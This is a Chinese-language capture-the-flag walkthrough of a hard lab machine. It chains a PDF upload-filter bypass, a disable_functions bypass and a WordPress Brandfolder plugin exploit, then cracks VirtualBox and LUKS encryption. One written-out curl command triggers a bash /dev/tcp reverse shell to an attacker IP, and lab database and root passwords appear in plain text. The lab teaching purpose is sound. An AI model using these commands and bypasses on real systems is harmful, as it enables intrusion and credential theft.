信息收集
端口扫描
使用nmap进行端口探测,发现其开放了22和80端口。
web网页
没有发现可以利用的东西,就去看看web网页。
发现该站点适用于某种托管服务/漏洞评估提供商。
发现有一些漏洞的测试报告。
报告里面包含了主机地址、漏洞类型等。
目录爆破
接着使用feroxbuster对该站点进行目录fuzz。发现存在/logs目录。
漏洞利用
发现report后面对应的都是报告的id值。
Wfuzz工具的使用
接着使用wfuzz对id进行fuzz,它找到了六个,其中三个我还不知道。
查找报告
接着使用feroxbuster,对/logs/e21cece511f43a5cb18d4932429915ed/继续fuzz
访问id为9798的报告看看。
然后查看一下logs.pdf,没发现可以利用的内容。
md5解密一下看看。
使用wfuzz对id_hashs进行fuzz
接着将获取到的存在的报告,对其id生成md5的hash,继续使用wfuzz进行fuzz。
都查看一下,发现存在一个上传接口。
文件上传漏洞
发现一个上传接口。
尝试进行漏洞利用。
提交文件的名称是“pdfFile”。
文件上传的过滤器
服务器上的某些东西拒绝了我的图像,因为它不是 PDF。服务器通常会通过三种方式进行这些检查,具体如下:
- 表单提交中的MIME 类型 ( Content-Type);
- 文件开头的魔术字节(file命令如何工作);
- 和文件扩展名。
根据https://en.wiki/pedia.org/wiki/List_of_file_signatures,PDF 以五个字节开头%PDF-。这很容易在文件的开头添加。我将filename参数更改为z.pdf.
文件上传bypass
通过修改文件名、Content-Type、和文件开头的魔术字节。成功绕过文件上传的限制。
将其文件后缀名改为.php,成功上传文件。
访问一下看看,成功获取到文件内容。
接着写入phpinfo();成功上传。
成功访问到phpinfo文件。
然后查看其disable_functions.发现大多数执行命令的函数都被禁用。
对disable_functions进行Bypass
推荐工具:https://github.com/TarlogicSecurity/Chankro
<?php error_reporting(E_ALL); /* Add redirection so we can get stderr. */ $handle = popen('/path/to/executable 2>&1', 'r'); echo "'$handle'; " . gettype($handle) . "\n"; $read = fread($handle, 2096); echo $read; pclose($handle); ?>
利用popen函数对disable_functions进行绕过。成功执行命令。
命令执行漏洞
权限提升
反弹shell
接着使用curl进行反弹shell。
使用nc进行监听
成功获取到shell。
查找其他站点
netstat显示了一些在 localhost 上侦听的服务:
使用curl确认它是另一个网络服务器。
Wordpres网站
搭建隧道
接着使用chisel建立隧道。
./chisel_1.7.7_linux_amd64 client 10.10.17.140:8000 R:socks
查看其进程。
进入/opt/new.site:发现一些文件。
Brandfolder 漏洞利用
在exploitdb找到了漏洞利用脚本。
使用curl触发漏洞。
curl '127.0.0.1:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/dev/shm/&cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.17.140/5444+0>%261"'
成功获取到lexi到shell。
获取user.txt
接着翻到了user.txt文件。
SSH远程登录
接着使用ssh到ID_rsa登录lexi用户。
源码分析
在插件的根目录下,有一个pwds-manager.php文件。在该文件中,有一个pms_db_install用于设置数据库的函数:
/* **Create Datatable for plugin activation */ if ( ! function_exists('pms_db_install') ){ function pms_db_install() { global $wpdb; /* **create pms_category datatable */ $table_name = $wpdb->prefix . 'pms_category'; $sql = "CREATE TABLE $table_name ( id int(11) NOT NULL AUTO_INCREMENT, category varchar(55) DEFAULT '' NOT NULL, PRIMARY KEY (id) )ENGINE=InnoDB DEFAULT CHARSET=latin1"; require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); dbDelta( $sql ); $result = $wpdb->insert( $table_name, array('category' =>'Uncategorized',) , array('%s') ); /* **create pms_passwords datatable */ $table_name = $wpdb->prefix . 'pms_passwords'; $sql1 = "CREATE TABLE $table_name ( pass_id int(11) NOT NULL AUTO_INCREMENT, user_name varchar(200) NOT NULL, user_email varchar(200) NOT NULL, user_password longtext NOT NULL, category_id int(11) NOT NULL, note text CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL, url longtext NOT NULL, PRIMARY KEY (pass_id) )ENGINE=InnoDB DEFAULT CHARSET=latin1"; dbDelta( $sql1 ); } register_activation_hook( __FILE__, 'pms_db_install' ); }
MYSQL登录
使用mysql -u wordpressuser -p'wordpresspassword123!!' wordpress进行登录mysql数据库。
show tables;查看其表。
使用select user_name,user_email,urlfromwp_pms_passwords;查看数据库的用户和密码。
使用select user_name,user_passwordfromwp_pms_passwords;查找ssh密钥。
接着查询pms_encrypt_key。
SSH端口转发
然后配置DB的host代理到本地
查找数据库的登录用户和密码。
接着使用这个网站生成wordpress的新密码。
Generador de hash de contraseña de WordPress
更新数据库配置。
UPDATE `wp_users` SET `user_pass` = '$P$BqTMH6f2/YJmGLjPetfgm3MnNewMhS1' WHERE user_login = your_user_name
登录wordpress
接着在本地登录wordpress
然后访问/wp-admin,发现了ssh的key。
远程登录ssh
接着继续使用新发现的id_rsa,登录ssh。
登录之后,发现有一些脚步文件。
进入/stuff,发现一些文件。发现了.vbox文件。
破解VirtualBox 加密
接着使用https://github.com/axcheron/pyvboxdie-cracker,破解其加密。
使用scp将其下载到本地机器中。
然后使用cracker.py进行破解。其登录密码为computer
本地搭建靶机
然后在本地搭建环境。
进入启动界面。
输入computer密码。成功开机。
爆破磁盘密码
接着打开终端,然后映射磁盘文件到本地机器。
然后爆破出磁盘密码为abc123
ubuntu@ubuntu:~$ ./bruteforce-luks-static-linux-amd64 -f wordlist.txt /dev/sda Password found: abc123 ubuntu@ubuntu:~$
负载驱动
接着通过grep去检查这些root文件。
grep -r pass .
在all-in-one/distro_update.sh中,有一个密码:
./all-in-one/distro_update.sh:passwd='$_THE_best_Sysadmin_Ever_'
然后使用sudo -l 登录root
获取root.txt
最后成功找到了root.txt
总结
该靶机为困难模式的靶机,靶机涵盖了大量知识点和一些新奇的工具使用。涵盖了文件上传、命令执行及对文件上传的bypass、绕过php_disbale_function等、还包含了wordpress的漏洞利用、破解VirtualBOX虚拟机的加密、爆破磁盘密码等。建议感兴趣的同学也可以尝试一下。